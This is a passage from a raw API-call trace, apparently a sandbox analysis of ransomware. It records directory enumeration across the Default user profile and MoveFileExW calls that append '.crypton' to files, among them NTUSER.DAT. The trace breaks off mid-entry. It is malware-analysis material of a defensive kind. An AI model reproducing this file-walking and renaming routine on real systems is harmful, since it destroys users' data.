FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c35aa0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2c35aa0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0223.821] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c35aa0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2c35aa0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0223.827] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2c5bc00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2c5bc00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0223.834] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c5bc00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2c5bc00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0223.839] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c5bc00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2c5bc00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0223.844] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2c81d60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2c81d60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0223.845] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\mail recipient.mapimail"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail.crypton" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\mail recipient.mapimail.crypton"), dwFlags=0x2) returned 1 [0223.852] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2c81d60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2c81d60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0223.857] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ca7ec0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2ca7ec0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0223.862] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ca7ec0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2ca7ec0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0223.867] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ca7ec0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2ca7ec0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0223.872] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2cce020, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2cce020, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0223.876] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2cce020, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2cce020, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0223.881] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2cce020, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2cce020, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0223.886] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2cce020, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2cce020, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0223.891] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2cf4180, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2cf4180, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0223.895] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2cf4180, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2cf4180, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0224.204] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg.crypton" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg.crypton"), dwFlags=0x2) returned 1 [0224.211] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Application Data\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2, dwReserved1=0x55ce18, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0224.218] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Contacts\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3013e60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x3013e60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0224.253] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact"), lpNewFileName="C:\\\\Users\\Default\\Contacts\\Administrator.contact.crypton" (normalized: "c:\\users\\default\\contacts\\administrator.contact.crypton"), dwFlags=0x2) returned 1 [0224.262] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Cookies\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0xffffffff [0224.272] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Desktop\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3086280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x3086280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0224.276] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Documents\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3086280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x3086280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0224.282] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Documents\\My Music\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2, dwReserved1=0x55ce18, cFileName="Microsoft", cAlternateFileName="l·J")) returned 0xffffffff [0224.288] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Documents\\My Pictures\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2, dwReserved1=0x55ce18, cFileName="Microsoft", cAlternateFileName="l·J")) returned 0xffffffff [0224.294] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Documents\\My Videos\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2, dwReserved1=0x55ce18, cFileName="Microsoft", cAlternateFileName="l·J")) returned 0xffffffff [0224.299] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Downloads\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x30d2540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x30d2540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0224.303] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Favorites\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x30d2540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x30d2540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0224.308] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Favorites\\Links\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30f86a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x30f86a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0224.313] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30f86a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x30f86a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0224.318] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Favorites\\MSN Websites\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30f86a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x30f86a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0224.323] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Favorites\\Windows Live\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30f86a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x30f86a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0224.329] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Links\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x311e800, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x311e800, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0224.334] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Local Settings\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x36000234, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0224.339] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Music\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x30ac3e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x30ac3e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0224.343] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\My Documents\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x36000234, cFileName="desktop.ini", cAlternateFileName="")) returned 0xffffffff [0224.348] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\NetHood\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x36000234, cFileName="desktop.ini", cAlternateFileName="")) returned 0xffffffff [0224.631] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), lpNewFileName="C:\\\\Users\\Default\\NTUSER.DAT.crypton" (normalized: "c:\\users\\default\\ntuser.dat.crypton"), dwFlags=0x2) returned 1 [0224.636] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\NTUSER.DAT.LOG" (normalized: "c:\\users\\default\\ntuser.dat.log"), lpNewFileName="C:\\\\Users\\Default\\NTUSER.DAT.LOG.crypton" (normalized: "c:\\users\\default\\ntuser.dat.log.crypton"), dwFlags=0x2) returned 1 [0224.642] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Pictures\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x30ac3e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x30ac3e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0224.648] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\PrintHood\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x36000234, cFileName="desktop.ini", cAlternateFileName="")) returned 0xffffffff [0224.652] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Recent\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x36000234, cFileName="desktop.ini", cAlternateFileName="")) returned 0xffffffff [0224.665] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Saved Games\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x343e4e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x343e4e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0224.670] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Searches\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3464640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x3464640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0224.674] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\SendTo\\*", lpFindFileData=0x4abd70 | out: 